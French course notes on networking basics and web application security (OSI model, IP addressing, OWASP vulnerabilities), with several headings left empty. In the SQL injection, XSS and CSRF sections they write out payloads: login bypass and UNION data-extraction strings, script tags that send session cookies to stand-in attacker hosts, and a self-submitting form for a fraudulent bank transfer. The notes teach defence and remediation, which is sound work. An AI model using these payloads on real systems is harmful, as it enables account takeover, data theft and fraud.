Réseau Informatique

1. Réseau Informatique : Définitions et Objectifs

• Réseau informatique : ensemble d’équipements interconnectés (ordinateurs, serveurs, imprimantes, routeurs) pour échanger des données et partager des ressources via des supports (câbles, Wi-Fi, fibre optique) et des protocoles standardisés.
• Protocoles : règles communes permettant la communication entre équipements hétérogènes.
• Échelle : du réseau domestique au réseau mondial (Internet).

Objectifs principaux :

• Partage de ressources matérielles (imprimantes, disques partagés).
• Partage de ressources logicielles (applications centralisées).
• Communication (emails, VoIP, visioconférence).
• Accès à Internet et services en ligne.
• Centralisation et sécurisation des données.
• Disponibilité et redondance pour continuité de service.

2. Types de Réseaux selon l’Étendue Géographique

3. Topologies de Réseau

• Topologie en bus : tous les équipements connectés à un câble central. Simple mais panne critique.
• Topologie en étoile : chaque équipement relié à un noeud central (switch, hub). Très utilisée.
• Topologie en anneau : équipements en boucle, données circulent dans un ou deux sens.
• Topologie maillée : chaque équipement relié à plusieurs autres, haute redondance.
• Topologie hybride : combinaison de plusieurs topologies selon besoins.

4. Modèle OSI (Open Systems Interconnection)

• But : standardiser la communication réseau entre équipements de fabricants différents.
• Structure : 7 couches, chaque couche communique uniquement avec la couche adjacente.
• Fonctionnement : encapsulation des données de la couche 7 vers la couche 1 à l’émission, désencapsulation inverse à la réception.
• Usage réel : modèle de référence, mais Internet utilise principalement le modèle TCP/IP.

5. Couche 1 - Physique

• Rôle : transmission des bits (0/1) sur le support (câble, fibre, ondes radio).
• Caractéristiques : normes électriques, mécaniques, fonctionnelles.
• Exemples : câbles RJ45, fibre optique, hubs, répéteurs.
• Normes : IEEE 802.3 (Ethernet), IEEE 802.11 (Wi-Fi).

Attaques principales :

• Interception physique : branchement d’un dispositif d’écoute sur câble.
  • Contre-mesure : chiffrement, câbles blindés, contrôle d’accès physique.
• Sabotage de câbles : coupure volontaire ou accidentelle.
  • Contre-mesure : redondance, protection physique.
• Brouillage radio (jamming) : émission de signaux parasites sur Wi-Fi.
  • Contre-mesure : fréquences alternatives, détection d’anomalies RF.

6. Couche 2 - Liaison de données

• Rôle : transfert fiable entre deux nœuds connectés directement, gestion de l’adressage physique (MAC), détection d’erreurs, contrôle de flux.
• Unité de données : trame (frame).
• Technologies : Ethernet (IEEE 802.3), Wi-Fi (IEEE 802.11), PPP.
• Équipements : switch, pont (bridge).
• Adresse MAC : identifiant unique 48 bits d’une interface réseau.
• Détection d’erreurs : CRC (Cyclic Redundancy Check).

Attaques principales :

• ARP Spoofing (ARP Poisoning) : fausses réponses ARP pour associer l’adresse MAC de l’attaquant à l’IP d’une victime (Man-in-the-Middle).
  • Contre-mesure : Dynamic ARP Inspection (DAI), ARP statique, surveillance réseau.
• MAC Flooding : inondation d’un switch avec de fausses adresses MAC pour saturer sa table CAM, forçant le switch à diffuser tout le trafic.
  • Contre-mesure : sécurisation des ports, limitation du nombre d’adresses MAC par port.

À retenir : Le modèle OSI structure la communication en 7 couches, facilitant la compréhension et la standardisation des réseaux, tandis que les attaques ciblent souvent les couches basses (physique et liaison) pour intercepter ou perturber les communications.

1. Le Modèle OSI et ses Couches

Le modèle OSI (Open Systems Interconnection) est une architecture en 7 couches qui standardise les fonctions d’un réseau informatique, facilitant l’interopérabilité entre systèmes.

2. Couche 3 – Réseau

Rôle :
Assure le routage des paquets entre une source et une destination à travers plusieurs réseaux, gère l’adressage logique (adresses IP) et détermine le meilleur chemin.

Exemples / Technologies :

• Protocole IP (IPv4, IPv6)
• Routeurs
• Paquet (packet)
• Protocoles de routage : OSPF, BGP, RIP, EIGRP
• ICMP (diagnostic réseau : ping, traceroute)

Attaques courantes :

3. Couche 4 – Transport

Rôle :
Assure une communication fiable de bout en bout, gère la segmentation, le contrôle de flux, la correction d’erreurs et le multiplexage via les numéros de port.

Exemples / Technologies :

• TCP (fiable, orienté connexion)
• UDP (rapide, sans connexion)
• Numéros de port (ex : HTTP=80, HTTPS=443, SSH=22)
• Three-way handshake TCP : SYN, SYN-ACK, ACK
• Segment (TCP) / Datagramme (UDP)

Attaques courantes :

4. Couche 5 – Session

Rôle :
Établit, gère et termine les sessions de communication entre applications, synchronise les échanges et permet la reprise après interruption.

Exemples / Technologies :

• Gestion des sessions applicatives
• Synchronisation par points de contrôle
• Protocoles : NetBIOS, RPC, PPTP
• Modes de dialogue : simplex, half-duplex, full-duplex

Attaques courantes :

5. Couche 6 – Présentation

Rôle :
Assure la représentation des données compréhensible par l’application : chiffrement, déchiffrement, compression, encodage.

Exemples / Technologies :

• Encodage : ASCII, Unicode, EBCDIC
• Chiffrement : TLS/SSL
• Compression des données
• Conversion de formats : XML, JSON, JPEG, MPEG

Attaques courantes :

6. Couche 7 – Application

Rôle :
Interface la plus proche de l’utilisateur, fournit les protocoles et services pour accéder au réseau et communiquer entre applications.

Exemples / Technologies :

• Protocoles web : HTTP, HTTPS
• Messagerie : SMTP, POP3, IMAP
• Transfert de fichiers : FTP, SFTP
• Résolution de noms : DNS
• Administration réseau

À retenir : Le modèle OSI décompose la communication réseau en 7 couches distinctes, chacune avec un rôle précis, facilitant la compréhension, la conception et la sécurisation des réseaux.

1. Le modèle TCP/IP : Fondamentaux

• Modèle TCP/IP : modèle de référence d'Internet, développé dans les années 1970 par le DARPA.
• Structure : 4 couches pratiques, regroupant les 7 couches du modèle OSI.
• Importance : socle de tous les réseaux modernes, Internet inclus.
• Chaque couche encapsule les données de la couche supérieure pour transmission.

2. Protocoles Clés du Modèle TCP/IP

• HTTP : protocole web sans état, port 80, données en clair.
• HTTPS : HTTP sécurisé par TLS, port 443, standard actuel.
• FTP : transfert de fichiers, ports 20/21, remplacé par SFTP pour la sécurité.
• SMTP : envoi d'emails, ports 25/587 (avec authentification).
• DNS : résolution noms de domaine en IP, port 53 (UDP/TCP).
• DHCP : attribution automatique d'adresses IP, ports 67/68.

3. Adresses IP : Concepts et Types

• Adresse IP : identifiant numérique unique d'une interface réseau, couche 3 OSI.
• Fonction : localisation et identification d’un équipement sur un réseau.
• Types : statique (manuelle) ou dynamique (via DHCP).
• Différence avec adresse MAC : IP = logique, MAC = physique (couche 2).

4. IPv4 : Format et Caractéristiques

• Codage sur 32 bits, notation décimale pointée (ex : 192.168.1.100).
• Environ 4,3 milliards d’adresses possibles (2^32).
• Structure : partie réseau + partie hôte, séparées par un masque de sous-réseau.
• Limitation : pénurie d’adresses → recours au NAT et IPv6.

5. IPv6 : Format et Caractéristiques

• Codage sur 128 bits, notation hexadécimale en 8 groupes de 4 caractères (ex : 2001:0db8::1).
• Nombre d’adresses : 2^128 (~340 sextillions), quasi illimité.
• Simplification des zéros consécutifs avec "::" (une seule fois).
• Intègre nativement IPsec pour la sécurité.
• Supprime le besoin de NAT.

6. Classes d’Adresses IPv4

• Note : Le classful addressing est remplacé par le CIDR (Classless Inter-Domain Routing) pour plus de flexibilité.

7. Adresses Spéciales IPv4

À retenir : Le modèle TCP/IP est la base pratique d’Internet, structuré en 4 couches, avec des protocoles clés adaptés à chaque couche et des adresses IP essentielles pour l’identification et le routage des équipements.

1. Adressage IP

• Adresse IP : identifie un hôte sur un réseau, composée de 32 bits en IPv4, divisée en partie réseau et partie hôte.
• Adresse réseau : adresse où tous les bits de la partie hôte sont à 0, identifie le réseau lui-même.
  Exemple : 192.168.1.0 pour le réseau 192.168.1.0/24.
• Adresse broadcast : adresse où tous les bits de la partie hôte sont à 1, utilisée pour envoyer un message à tous les hôtes du réseau.
  Exemple : 192.168.1.255 pour le réseau 192.168.1.0/24.

2. Masque de sous-réseau et CIDR

• Masque de sous-réseau : détermine la séparation entre la partie réseau et la partie hôte dans une adresse IP.
  Exemple : masque 255.255.255.0 signifie que les 24 premiers bits sont pour le réseau.
• Notation CIDR (Classless Inter-Domain Routing) : exprime le masque par le nombre de bits réseau, par exemple /24 = 255.255.255.0.
• Partie réseau = bits définis par le masque, partie hôte = bits restants.
• Exemple : adresse 192.168.1.50 avec masque 255.255.255.0 → partie réseau = 192.168.1.0, partie hôte = 50.

3. Nombre d’hôtes dans un sous-réseau

• Nombre total d’adresses = 2^(nombre de bits hôte).
• Adresses utilisables = total - 2 (car on retire l’adresse réseau et l’adresse broadcast).
• Exemple : pour un /24 (8 bits hôte), nombre d’hôtes utilisables = 2^8 - 2 = 254.

4. Subnetting (découpage en sous-réseaux)

• Permet de diviser un réseau en plusieurs sous-réseaux plus petits pour une meilleure organisation et sécurité.
• Chaque sous-réseau a son propre masque, adresse réseau et broadcast.
• Facilite la gestion du réseau et limite la diffusion des broadcasts.

À retenir : Le masque de sous-réseau détermine la frontière entre la partie réseau et la partie hôte d’une adresse IP, et le subnetting permet de créer plusieurs réseaux logiques à partir d’un réseau physique.

1. Attaque DDoS (Distributed Denial of Service)

• Objectif : rendre un service indisponible en le submergeant de requêtes depuis de nombreuses sources.
• Différence DoS vs DDoS : DDoS utilise un botnet (réseau de machines compromises) pour amplifier l’attaque.
• Types d’attaques DDoS :

  Type	Description	Exemples
  Volumétrique	Saturation de la bande passante	UDP Flood, ICMP Flood, DNS Amplification
  Protocole	Exploitation des failles TCP/IP	SYN Flood, Ping of Death
  Applicatif	Requêtes légitimes simulées	HTTP Flood, Slowloris

• Contre-mesures : services anti-DDoS (Cloudflare, Akamai), rate limiting, anycast, filtrage BGP.

2. Phishing - Ingénierie Sociale Réseau

• Définition : technique visant à tromper l’utilisateur pour obtenir des données sensibles.
• Méthode classique : email frauduleux imitant une entité légitime avec lien vers faux site.
• Variantes :
  • Spear Phishing : ciblage personnalisé.
  • Smishing : phishing par SMS.
  • Vishing : phishing par appel vocal.
  • Whaling : ciblage de dirigeants pour virements frauduleux.
• Contre-mesures : filtrage email (SPF, DKIM, DMARC), antispam, formation utilisateurs, authentification multifacteur (MFA).

3. Pare-feu (Firewall)

• Fonction : filtre le trafic réseau selon des règles de sécurité.
• Types :

  Type	Fonctionnement	Exemple
  Filtrage de paquets	Analyse en-têtes IP/TCP/UDP (stateless)	iptables, Windows Firewall
  Pare-feu à états	Suit les connexions actives (stateful)	Palo Alto, Fortinet
  Pare-feu applicatif	Inspection couche 7, détection intrusion	pfSense, NGFW

• Règle clé : principe du moindre privilège (tout ce qui n’est pas autorisé est interdit).

4. IDS et IPS

• IDS (Intrusion Detection System) : détecte les intrusions, génère des alertes, passif.
• IPS (Intrusion Prevention System) : détecte et bloque le trafic malveillant, actif, placé inline.
• Modes de détection :
  • Par signature : détection d’attaques connues via base de signatures.
  • Par anomalie : détection d’écarts au comportement normal (zero-days).
• Exemples : Snort, Suricata, Zeek, Cisco IPS.

5. VPN et Chiffrement

• VPN (Virtual Private Network) : tunnel chiffré garantissant confidentialité et intégrité sur réseau public.
• Types de VPN :

  Type	Usage
  Site-à-site	Relie deux réseaux distants
  Client-à-site	Accès distant utilisateur au réseau

• Protocoles VPN courants : IPSec, OpenVPN, WireGuard, L2TP/IPSec, SSL/TLS (SSTP).
• Chiffrement réseau :
  • TLS 1.3 : chiffrement des connexions web/applicatives.
  • IPSec : chiffrement au niveau réseau.
  • SSH : chiffrement des connexions d’administration.
• Principe clé : chiffrer toutes les communications sensibles, même internes.

À retenir : Le DDoS exploite un réseau de machines compromises pour saturer un service, tandis que le phishing manipule l’utilisateur pour voler des données sensibles. Les pare-feu, IDS/IPS et VPN sont des mécanismes essentiels pour protéger et sécuriser les communications réseau.

1. Sécurité Réseau et Attaques

2. Contexte et enjeux récents

• Groupe Cl0p a touché plus de 2 700 organisations, illustrant la menace massive des attaques ciblées.
• Injection SQL reste une vulnérabilité majeure en 2023, soulignant l'importance des fondamentaux.
• CVE-2024-3094 : backdoor dans XZ Utils (outil Linux universel) via un mainteneur malveillant → risque supply chain.
• Leçon clé : la confiance dans les mainteneurs OSS doit être contrôlée rigoureusement.

3. Importance de la Sécurité Applicative

4. Concepts fondamentaux de la Sécurité Applicative (AppSec)

• AppSec : ensemble des mesures, outils et pratiques pour identifier, prévenir et corriger les vulnérabilités dans le code, la configuration et le cycle de vie d'une application.
• Triade CIA (fondement de toute politique de sécurité) :

5. OWASP Top 10 (2021) — Vulnérabilités Web Critiques

6. Exemples concrets d’attaques et bonnes pratiques

a) Injection SQL

• Scénario : concaténation directe des entrées utilisateur dans requête SQL → injection d’une condition toujours vraie.
• Payload classique : admin' --
• Code sécurisé : requêtes préparées (PDO, mysqli), validation côté serveur, ORM, moindre privilège SQL.

b) Cross-Site Scripting (XSS)

• Scénario : affichage sans échappement d’une entrée utilisateur → injection de script JS malveillant.
• Payload classique : <script>fetch("https://atk.io/?c="+document.cookie)</script>
• Bonnes pratiques : échappement contextuel (HTML, JS, URL), Content-Security-Policy stricte, cookies HttpOnly + SameSite=Strict, frameworks modernes (React, Vue).

c) Cross-Site Request Forgery (CSRF)

• Scénario : victime authentifiée visite un site malveillant qui déclenche une action non désirée (ex : virement bancaire).
• Mécanisme : cookie de session envoyé automatiquement par navigateur.
• Contre-mesures : tokens anti-CSRF synchronisés, cookies SameSite=Strict, vérification des en-têtes Origin/Referer, authentification renforcée.

d) Insecure Direct Object Reference (IDOR)

• Scénario : modification d’un identifiant dans l’URL permet d’accéder à des ressources d’autres utilisateurs sans contrôle d’accès.
• Code sécurisé : vérification d’autorisation côté serveur (ex : associer user_id à la ressource demandée).
• Risque : énumération facile des ressources sensibles.

À retenir : La sécurité réseau et applicative repose sur la maîtrise des vulnérabilités classiques (injection, XSS, CSRF, IDOR), la gestion rigoureuse des accès, la validation des entrées, et la confiance contrôlée dans la chaîne d’approvisionnement logicielle.

1. Bonnes Pratiques de Développement Sécurisé

• Validation des entrées : Ne jamais faire confiance aux données utilisateur. Valider systématiquement le type, la longueur, le format et la plage des entrées, en privilégiant les listes blanches.
• Authentification robuste : Utiliser des algorithmes de hachage sécurisés (bcrypt, argon2), imposer la MFA pour les comptes sensibles, et appliquer la politique de mots de passe recommandée par le NIST.
• Contrôle d'accès (RBAC/ABAC) : Appliquer le principe du moindre privilège. Vérifier l’autorisation à chaque point d’accès (endpoint), pas seulement lors de la connexion.
• Chiffrement : Utiliser TLS 1.3 pour les communications en transit, AES-256 pour le stockage des données, avec une gestion stricte des clés via HSM ou KMS.
• Journalisation & surveillance : Logger tous les événements de sécurité (authentification, accès, erreurs) et détecter les anomalies pour alerter rapidement.
• Gestion des dépendances : Maintenir un inventaire des composants (SBOM), scanner régulièrement les vulnérabilités (Snyk, Dependabot) et appliquer les mises à jour de sécurité sans délai.

2. Principes Security by Design

Intégrer la sécurité dès la conception réduit considérablement les coûts et risques. Les 7 principes clés sont :

À retenir : La sécurité intégrée dès la conception est 100 fois moins coûteuse que les corrections post-déploiement.

3. Cycle de Développement Sécurisé (SSDLC)

Le SSDLC intègre la sécurité à chaque étape du développement logiciel :

1. Exigences : Identification des menaces, définition des exigences de sécurité.
2. Conception : Architecture sécurisée, revue d’architecture.
3. Développement : Revue de code, respect des standards, analyse statique (SAST).
4. Tests : Tests dynamiques (DAST), tests interactifs (IAST), pentests, fuzzing.
5. Déploiement : CI/CD sécurisé, gestion des secrets, durcissement.
6. Production : Monitoring, réponse aux incidents, gestion des correctifs.

Le processus est itératif et automatisé via DevSecOps.

4. Outils de Sécurité Applicative

5. Comparatif SAST vs DAST vs IAST

Recommandation : Combiner SAST (au commit) + SCA (dans CI) + DAST (en pré-prod) pour une défense en profondeur optimale.

6. Modélisation des Menaces — Méthode STRIDE

Méthode pour identifier les menaces principales sur une application :

À retenir : Le contrôle d’accès doit être vérifié à chaque requête, sans exception, pour éviter les failles d’autorisation (ex : IDOR).

1. Concepts Fondamentaux de la Sécurité Applicative

Les applications représentent la principale surface d'attaque des systèmes d'information modernes. Leur sécurisation est donc cruciale pour protéger les données et les services.

a) Principes clés

• OWASP Top 10 : référence majeure en 2024 pour identifier les vulnérabilités critiques des applications web.
• Security by Design : la sécurité doit être intégrée dès la conception des applications, pas ajoutée a posteriori.
• SSDLC (Secure Software Development Life Cycle) et DevSecOps : méthodes qui automatisent la sécurité à chaque étape du développement et du déploiement.
• Défense en profondeur : combiner plusieurs techniques de détection et prévention, notamment :
  • SAST (Static Application Security Testing) : analyse statique du code source.
  • DAST (Dynamic Application Security Testing) : tests dynamiques sur l’application en fonctionnement.
  • SCA (Software Composition Analysis) : analyse des composants tiers et bibliothèques.

b) Domaines et métiers en sécurité applicative

c) Ressources de référence

• OWASP (owasp.org) : standards et guides de sécurité applicative.
• PortSwigger (portswigger.net/web-security) : outils et tutoriels pour tests de sécurité web.
• HackTheBox, TryHackMe : plateformes d’apprentissage pratique.
• NIST SSDF : cadre pour le développement sécurisé.

La sécurité applicative est un domaine en forte croissance, offrant de nombreuses opportunités professionnelles.

2. Approche pédagogique et cas pratiques

Les cas pratiques couvrent la découverte, l’exploitation contrôlée, l’analyse d’impact et la remédiation des vulnérabilités, avec un lien direct aux standards OWASP, NIST, CIS Controls et OWASP ASVS.

a) Vulnérabilités majeures étudiées

Chaque cas suit une structure claire : contexte, description, objectifs, analyse, exploitation, impacts, remédiation, code sécurisé, questions de réflexion.

3. Synthèse à retenir

• Applications = surface d’attaque principale des SI modernes.
• OWASP Top 10 est la grille de lecture de référence.
• Sécurité intégrée dès la conception (Security by Design).
• SSDLC + DevSecOps automatisent la sécurité à chaque étape.
• SAST + DAST + SCA assurent une couverture optimale.
• La sécurité applicative est un domaine dynamique et porteur.

Intégrer la sécurité dès la conception et utiliser des outils automatisés est la clé pour protéger efficacement les applications.

1. Vulnérabilités Web du OWASP Top 10

Le OWASP Top 10 recense les vulnérabilités les plus critiques affectant les applications web. Ces failles résultent souvent d’une mauvaise gestion des données utilisateur, violant la frontière de confiance qui impose de considérer toute donnée externe comme non fiable.

a) Cas 8 : Téléversement de fichiers dangereux

• Permet à un attaquant d’envoyer des fichiers malveillants (ex : scripts, exécutables) sur le serveur.
• Risques : exécution de code à distance, compromission du serveur.
• Protection : validation stricte des types et contenus de fichiers, stockage sécurisé.

b) Cas 9 : Inclusion de fichiers (LFI/RFI)

• Cause : manipulation non sécurisée des chemins de fichiers.
• Prévention : validation et restriction des chemins, désactivation des inclusions distantes.

c) Cas 10 : Server-Side Request Forgery (SSRF)

• L’attaquant force le serveur à effectuer des requêtes HTTP vers des ressources internes ou externes.
• Risques : accès à des services internes non exposés, exfiltration de données.
• Protection : filtrage des URL, validation des destinations.

d) Cas 11 : Désérialisation non sécurisée

• Exploitation de la désérialisation d’objets non fiables pour exécuter du code arbitraire.
• Risques : exécution de commandes, élévation de privilèges.
• Prévention : éviter la désérialisation d’entrées non contrôlées, utiliser des formats sécurisés.

e) Cas 12 : Exposition de données sensibles

• Fuite d’informations confidentielles (mots de passe, clés, données personnelles).
• Causes : stockage non chiffré, erreurs dans la gestion des accès.
• Mesures : chiffrement, contrôle d’accès strict, masquage des données.

f) Cas 13 : Mauvaise configuration de sécurité

• Paramètres par défaut, erreurs dans la configuration des serveurs ou applications.
• Conséquences : ouverture de portes dérobées, vulnérabilités exploitables.
• Recommandations : audits réguliers, durcissement des configurations.

g) Cas 14 : API vulnérables

• Failles dans les interfaces de programmation exposées (ex : manque d’authentification, validation insuffisante).
• Risques : accès non autorisé, manipulation des données.
• Protection : authentification forte, validation stricte des entrées.

h) Cas 15 : JWT mal implémentés

• Mauvaise gestion des JSON Web Tokens (ex : clés faibles, expiration non vérifiée).
• Risques : usurpation d’identité, accès prolongé.
• Bonnes pratiques : signatures robustes, vérification systématique des tokens.

i) Cas 16 : Contournement d’authentification MFA

• Failles permettant de bypasser la Multi-Factor Authentication.
• Exemples : attaques par interception, erreurs logiques.
• Protection : implémentation rigoureuse, surveillance des tentatives.

j) Cas 17 : Failles logiques métier

• Vulnérabilités liées à la logique spécifique de l’application (ex : manipulation des règles de prix, validation des workflows).
• Impact : fraude, contournement des règles.
• Solution : revue approfondie des processus métier, tests fonctionnels.

k) Cas 18 : Vulnérabilités des applications cloud

• Problèmes liés à la configuration et à la gestion des services cloud (ex : stockage public non sécurisé).
• Risques : fuite de données, compromission d’infrastructure.
• Mesures : contrôle des accès, chiffrement, surveillance continue.

l) Cas 19 : Vue d’ensemble du OWASP Top 10

m) Cas 20 : Chaîne d’exploitation combinée

• Attaques combinant plusieurs vulnérabilités pour maximiser l’impact.
• Exemple : injection SQL + élévation de privilèges + exfiltration.
• Importance : comprendre l’enchaînement des failles pour mieux les prévenir.

À retenir : Toute donnée venant de l’extérieur doit être considérée comme non fiable et validée rigoureusement pour éviter les vulnérabilités web critiques du OWASP Top 10.

1. Injection SQL : définition et mécanisme

• Injection SQL : vulnérabilité où des données utilisateur sont insérées directement dans une requête SQL, permettant à un attaquant de modifier la requête initiale.
• Mécanisme classique : concaténation directe des entrées utilisateur dans la requête sans échappement ni requête préparée.
• Exemple d’injection :
  admin' --
  transforme la requête en commentant la vérification du mot de passe, contournant ainsi l’authentification.

2. Signes révélateurs d’une injection SQL

3. Exploitation type en laboratoire

1. Contournement d’authentification avec admin' --
2. Injection UNION pour extraire d’autres données :
   ' UNION SELECT username, password, role FROM users --
3. Documentation des preuves : capture de requête, réponse HTTP, horodatage, périmètre testé (preuve de concept).

Point de vigilance : ne jamais utiliser de charges destructrices (ex : DROP TABLE) sur un système réel non propriétaire.

4. Impacts d’une injection SQL (exemple MediStock)

5. Prévention et remédiation

• Requête préparée (paramétrée) : sépare le code SQL des données, empêchant toute modification de la structure de la requête.
• Défense en profondeur recommandée :
  1. Utiliser systématiquement des requêtes préparées
  2. Appliquer le principe du moindre privilège sur le compte SQL applicatif
  3. Valider et filtrer les entrées utilisateur (liste blanche)
  4. Neutraliser les caractères spéciaux si nécessaire

À retenir : la précompilation des requêtes préparées est la première étape essentielle pour mitiger les injections SQL.

1. Définition du Cross-Site Scripting (XSS)

Le Cross-Site Scripting (CWE-79) est une vulnérabilité qui permet à un attaquant d’injecter et d’exécuter du code (souvent JavaScript) dans le navigateur d’autres utilisateurs.
Trois types principaux :

2. Contexte d’application : ForumPro

• Type : Plateforme communautaire avec contenu utilisateur (messages, profils)
• Technologies : Node.js, Express, EJS, MongoDB
• Risques : Vol de session, défiguration, propagation virale
• Gestion des sessions : Par cookie

3. Vulnérabilité dans le rendu HTML

• Le moteur de template EJS utilise deux syntaxes :
  • <%= %> : insère du contenu avec encodage (sécurisé)
  • <%- %> : insère du contenu sans encodage (vulnérable)
• Exemple vulnérable :

  <p><%- message.content %></p>
  

  Le contenu HTML ou JavaScript injecté est interprété par le navigateur.

4. Étapes d’analyse d’un XSS stocké

1. Test d’interprétation HTML
   Injecter <b>test</b> : si le texte apparaît en gras, le contenu n’est pas encodé.

2. Test d’exécution de script
   Injecter une charge d’alerte ou d’exfiltration de cookie :

   <img src=x onerror="fetch('https://lab.attacker/c?='+document.cookie)">
   

   Permet de démontrer le vol de cookie.

3. Outils recommandés

   • Burp Suite / ZAP pour injection
   • Console navigateur pour observer l’exécution

5. Exploitation et impact

• Exploitation contrôlée :
  • Capture du cookie de session d’un utilisateur connecté
  • Réutilisation du cookie pour usurper la session
• Impacts techniques majeurs :

  Dimension	Conséquence
  Technique	Vol de session, keylogging, défiguration, propagation virale

À retenir : Le XSS permet à un attaquant d’exécuter du code malveillant dans le navigateur d’autres utilisateurs, souvent pour voler des cookies de session et usurper des comptes.

1. Définition du CSRF

Le Cross-Site Request Forgery (CSRF) est une attaque qui force le navigateur d’un utilisateur authentifié à envoyer une requête non désirée vers une application où il est connecté, en exploitant l’envoi automatique des cookies de session.

2. Contexte et risques

Les opérations sensibles (virement, changement d’email) sont particulièrement exposées si elles peuvent être déclenchées à l’insu de l’utilisateur.

3. Fonctionnement d’une attaque CSRF

• Une page malveillante hébergée sur un site tiers contient un formulaire HTML ciblant l’endpoint vulnérable (ex : POST /transfer).
• Le formulaire est automatiquement soumis via un script JavaScript.
• Le navigateur envoie automatiquement les cookies de session à l’application ciblée, validant la requête comme légitime.
• Si l’endpoint ne vérifie pas un jeton anti-CSRF ou l’origine de la requête, l’opération est exécutée.

4. Analyse de vulnérabilité

1. Vérifier la présence d’un jeton anti-CSRF unique par session dans les requêtes sensibles.
2. Contrôler les en-têtes HTTP Origin ou Referer pour valider la provenance de la requête.
3. Utiliser des outils comme Burp Suite pour rejouer des requêtes sans jeton depuis une origine différente.

5. Impacts d’une faille CSRF

Une faille CSRF peut entraîner des opérations frauduleuses au nom de la victime, avec des conséquences graves sur tous les plans.

6. Mesures de remédiation

• Jeton anti-CSRF synchronisé : un jeton unique lié à la session, vérifié côté serveur.
• Cookies avec attribut SameSite : Lax ou Strict pour limiter l’envoi des cookies aux requêtes provenant du même site.
• Vérification des en-têtes Origin et Referer pour confirmer la provenance légitime.
• Ré-authentification pour les opérations critiques (ex : virement).

7. Bonnes pratiques recommandées

1. Générer un jeton CSRF unique par session et le vérifier côté serveur.
2. Configurer les cookies de session avec SameSite=Lax ou Strict.
3. Valider systématiquement les en-têtes Origin ou Referer.
4. Demander une ré-authentification pour les actions sensibles.
5. Coupler ces mesures pour une protection robuste.

8. Exemple de page malveillante exploitant une faille CSRF

<form action="https://neobank.com/transfer" method="POST" id="f">
  <input type="hidden" name="beneficiary" value="ATTACKER-IBAN">
  <input type="hidden" name="amount" value="5000">
</form>
<script>document.getElementById('f').submit();</script>

Cette page, hébergée sur un site tiers, soumet automatiquement un virement frauduleux si l’application ne protège pas contre le CSRF.

9. Résumé des protections CSRF

La défense efficace contre le CSRF combine ces mécanismes pour limiter les risques d’attaques.

1. Protection CSRF (Cross-Site Request Forgery)

• Principe : Un jeton CSRF est généré côté serveur, unique et imprévisible, stocké en session et inclus dans les formulaires légitimes. Il est inconnu des sites tiers.
• Vérification : À la soumission, le jeton reçu est comparé strictement (avec hash_equals pour éviter les attaques temporelles) au jeton attendu.
• Renforcement avec SameSite : L’attribut SameSite sur les cookies empêche leur envoi lors de requêtes intersites, limitant les attaques CSRF.

Un endpoint en lecture seule (GET) ne nécessite pas de jeton CSRF, mais utiliser GET pour modifier l’état est une faille critique.

• Limite SameSite=Lax : Autorise certaines navigations de premier niveau, laissant un risque résiduel.
• XSS et CSRF : Une faille XSS permet de lire le jeton CSRF légitime, rendant la protection CSRF inefficace.

2. Authentification Faible

a) Définition

• Une authentification faible (CWE-287, A07:2021) désigne les failles permettant à un attaquant de contourner ou forcer la vérification d’identité : mots de passe faibles, absence de limitation des tentatives, stockage non sécurisé, absence de second facteur.

b) Contexte d’exemple : CloudDesk

c) Analyse de la vulnérabilité

• Endpoint /api/login vérifie email/mot de passe sans limitation de débit.
• Mots de passe stockés avec hachage rapide et non salé (MD5).
• Pas de second facteur (MFA).

d) Code vulnérable (extrait)

pwd_hash = hashlib.md5(password.encode()).hexdigest()
user = User.objects.filter(email=email, pwd=pwd_hash).first()

• Failles :
  • Hachage rapide (MD5) vulnérable aux tables arc-en-ciel.
  • Absence de salage.
  • Pas de limitation des tentatives → brute force possible.
  • Pas de MFA → comptes sensibles non protégés.

e) Étapes d’évaluation

1. Tester la limitation des tentatives (ex. 100 requêtes rapides).
2. Vérifier la robustesse du hachage (MD5 non salé).
3. Confirmer l’absence de second facteur.

f) Impacts d’une authentification faible

g) Recommandations (NIST SP 800-63B, OWASP ASVS)

1. Utiliser un hachage lent et salé (Argon2id, bcrypt).
2. Mettre en place une limitation de débit et un verrouillage progressif.
3. Vérifier les mots de passe contre des listes de mots compromis.
4. Implémenter un second facteur (MFA) pour les comptes sensibles.
5. Afficher des messages d’erreur génériques (ne pas révéler si email est connu).

h) Version sécurisée (extrait)

• Limitation des tentatives par IP (max 5 tentatives en 300 secondes).
• Utilisation de fonctions sécurisées pour la vérification des mots de passe (check_password).
• Gestion des sessions sécurisée.

Une authentification faible expose à des compromissions graves ; la mise en œuvre de hachage sécurisé, limitation des tentatives et MFA est indispensable.

1. Sécurité des Applications Web Avancée

a) Gestion sécurisée de la connexion utilisateur

• Hachage lent et salé (PBKDF2, Argon2) est essentiel pour protéger les mots de passe contre le craquage hors ligne, en rendant les attaques coûteuses en temps et ressources.
• Limitation de débit via un compteur en cache empêche les attaques par force brute en bloquant les tentatives excessives (ex. 429 Too Many Requests).
• Regénération de session (session.cycle_key()) à la connexion évite la fixation de session, renforçant la sécurité des sessions utilisateur.
• Messages d’erreur uniformes empêchent l’énumération des comptes en ne révélant pas si un email est enregistré ou non.

Un hachage lent rend le craquage de mots de passe économiquement non rentable.

b) Types d’attaques sur l’authentification

c) Risques liés à l’énumération de comptes

• Différencier les messages d’erreur selon l’existence du compte facilite la découverte des emails valides.
• Réduit l’espace de recherche pour un attaquant, augmentant l’efficacité des attaques ciblées.

d) Mécanismes avancés de limitation des attaques

• Limitation par compte cible plutôt que par IP seule, pour contrer la rotation d’adresses IP (botnets).
• Preuve de travail côté client (ex. CAPTCHA, hashcash) pour ralentir les attaques automatisées.
• Authentification multifactorielle (MFA) pour renforcer la sécurité au-delà du mot de passe.
• Détection comportementale pour identifier les comportements suspects et bloquer les attaques.

2. Cas pratiques de sécurité applicative

a) Bonnes pratiques générales

• Toujours utiliser des hachages lents et salés pour les mots de passe.
• Implémenter une limitation de débit robuste, combinant plusieurs critères (IP, compte, comportement).
• Utiliser des messages d’erreur génériques pour éviter l’énumération de comptes.
• Appliquer une gestion stricte des sessions : regénération d’ID, expiration, sécurisation des cookies.
• Mettre en place des contrôles d’accès centralisés et systématiques.
• Valider rigoureusement les fichiers uploadés et limiter les extensions autorisées.
• Prévoir des mécanismes de détection comportementale et d’authentification forte (MFA).

La sécurité des applications web repose sur une combinaison de protections techniques robustes et de bonnes pratiques rigoureuses, adaptées aux menaces évolutives.

1. Outils et Méthodologies AppSec

a) Structure commune d’analyse de vulnérabilités

Chaque cas d’étude suit une méthodologie en 10 étapes clés pour analyser, exploiter et corriger les failles de sécurité :

b) Cas types de vulnérabilités et axes de remédiation

c) Points clés de remédiation

